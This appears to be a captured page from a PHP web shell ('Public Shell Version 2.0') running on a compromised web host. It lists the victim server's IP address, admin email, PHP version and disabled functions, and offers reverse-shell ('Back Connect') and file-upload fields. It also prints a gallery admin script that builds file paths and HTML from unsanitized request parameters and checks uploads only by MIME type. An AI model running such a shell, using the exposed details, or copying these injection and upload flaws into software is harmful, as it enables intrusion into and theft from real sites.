Public Sh


Uname : Linux ispc 6.2.16-3-pve #1 SMP PREEMPT_DYNAMIC PVE 6.2.16-3 (2023-06-17T05:58Z) x86_64
PHP Version : 5.2.6-1+lenny16
Server Admin : webmaster@zednictvi-stastny.eu
Server IP : 109.105.49.240 Your IP : 18.117.82.179
Safe Mode : Safe Mode is OFF
Read etc/passwd : Disabled Functions : PHP INFO
Back Connect
IP : PORt :
'; Public Shell Version 2.0
Disable Functions: passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source,highlight_file
Current Path : /var/www/clients/client49/web272/web/gallery/general/
File Upload :
Current File : /var/www/clients/client49/web272/web/gallery/general/administrator.php

<?php

class admin{
    var $thumbWidth    =  120;
    var $thumbHeight   =  90;
    
    var $baseDir = '';
    var $originalDir = 'original';
    var $thumbDir    = 'thumbnail';
    var $infoDir     = 'info';

  function getThumbList(){
    $this->thumbDir = $_GET['cat']."/".$this->thumbDir.'/';
    $mylist = array();
    if ($handle = @opendir($this->thumbDir)) {
	  while ($file = readdir($handle))  {
	    if (!is_dir($file)) {
	      $mylist[] = $file;
        }
	  }
	}	
	return $mylist;
  }      
  
  function displayThumbList(){
  	  $main_infoFile  = $_GET['cat'].'/info/'.$_GET['cat'].'.info';
      if (file_exists($main_infoFile)){
      $data = file($main_infoFile);
      $catTitle = substr_replace($data[0],"",-1);
      unset($data[0]);          
      foreach ($data as $value1) {
        $about .= substr_replace($value1,"",-1);
      }
    }
    echo "<span class=\"title\">".$catTitle."</span><BR>\n";
    
    echo "<span class=\"boldtext\">".$about."</span><BR>\n";
    echo "<table>\n<tr>\n";
    $tlist = $this->getThumbList();
    $i = 0;
    foreach ($tlist as $value) {
      $infoFile = $_GET['cat'].'/info/'.$value.'.info';
	  $path=$di;
	  $imageTitle = '';
	  $imageDesc  = '';
	  if (file_exists($infoFile)){
		$imgData = file($infoFile);
		$imageTitle = substr_replace($imgData[0],"",-1);
		unset($imgData[0]);
		foreach ($imgData as $value1) {
		  $imageDesc .= substr_replace($value1,"",-1);
		}
	  }
	  if ($i % 4){
        
      } else {
        echo "</tr>";
        echo "<tr>";
      }
     echo "<td>";
     echo "<div style=\"float:left; height:130px; width:120px;padding: 20px;\">\n";
     echo "<a href='javascript:confirmation(\"admin.php?filename=".$value."&category=".$_GET['cat']."\")'><img src=\"".$_GET['cat']."/thumbnail/".$value."\"></a><br>\n";
     echo "<input type=\"text\" id=\"pic".$i."\" value=\"".$imageTitle."\"><br>\n"; 
     echo "<button onclick='javascript:savetxt(\"admin.php?save=".$value."&category=".$_GET['cat']."\",\"pic".$i."\")'>Save</button><br>\n"; 
     echo "</div>\n";
     echo "</td>";
     $i++;
    }
    echo "</tr>\n</table>\n";
    echo "<br><br>";
  }
  
  function getBaseName($name,$prefix){
    	return substr($name,strlen($prefix));
  }	
  
  function uploadImage(){
  	$result = true;
  	    if ( (($_FILES['myfile']['type'])=='image/pjpeg') || (($_FILES['myfile']['type'])=='image/jpeg') || (($_FILES['myfile']['type'])=='image/jpg')) {
                   $target_path = $_POST['mydir']."/".$this->originalDir."/".basename( $_FILES['myfile']['name']);
                   if(@move_uploaded_file($_FILES['myfile']['tmp_name'], $target_path)) {
                      chmod($target_path,0775);
                   } else{
                      $error = "The upload process failed!";
                      $result = false;
                   }
                
                // Store resized images
                   if ($result){
                      $this->resize_original($target_path,$target_path,800,600);                

                  // Create thumbnail image
                      $dest = $_POST['mydir']."/".$this->thumbDir."/".basename($_FILES['myfile']['name']);
                      $this->resize_original($target_path,$dest,$this->thumbWidth,$this->thumbHeight);                
//                      $this->resizeImage($target_path,$dest,$this->thumbWidth,$this->thumbHeight);
                      $msg = "Your photo was stored!";
                     }
                } else {
               echo "Only jpeg images are allowed!";
            }
            
            $this->storePhotoInfo();
  }

function storePhotoInfo(){
       $filename = $_POST['mydir']."/".$this->infoDir."/".basename( $_FILES['myfile']['name']) . ".info";
       $title    = isset($_POST['mytitle']) ? $_POST['mytitle'] : "";
       $desc     = isset($_POST['mydesc'])  ? $_POST['mydesc'] : "";
       $descfile = $_POST['mydir']."/".$this->infoDir."/".$_POST['mydir'].".info";
       $mycat = isset($_POST['mycat'])  ? $_POST['mycat'] : "";

       $f = fopen($filename,"w+");         
       fwrite($f,$title."\n");
       fclose($f);

       if (isset($_POST['change'])) {
         if (file_exists($descfile)){
         unlink($descfile);
         } 
         $f = fopen($descfile,"w+");         
         fwrite($f,$mycat."\n");
         fwrite($f,$desc."\n");
         fclose($f);
      }
 
    }
    
function resize_original($src,$dest,$new_width,$new_height){
       $width  = 0;
       $height = 0;
       
       list($width, $height) = getimagesize($src);

       // Calculate new width and height
       $x_scale = $width / $new_width;
       $y_scale = $height / $new_height;
       
       if ($x_scale > $y_scale){
           $new_height = floor($height / $x_scale);
       } else {
           $new_width = floor($width / $y_scale);
       }

       $newImage = imagecreatetruecolor($new_width, $new_height);
       $oldImage = imagecreatefromjpeg($src);

//       $this->image_Resample_Bicubic($newImage, $oldImage, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
       imagecopyresampled($newImage, $oldImage, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
       imagejpeg($newImage, $dest, 100);
       imageDestroy($newImage);
    }    
}
?>

Public Shell Version 2.0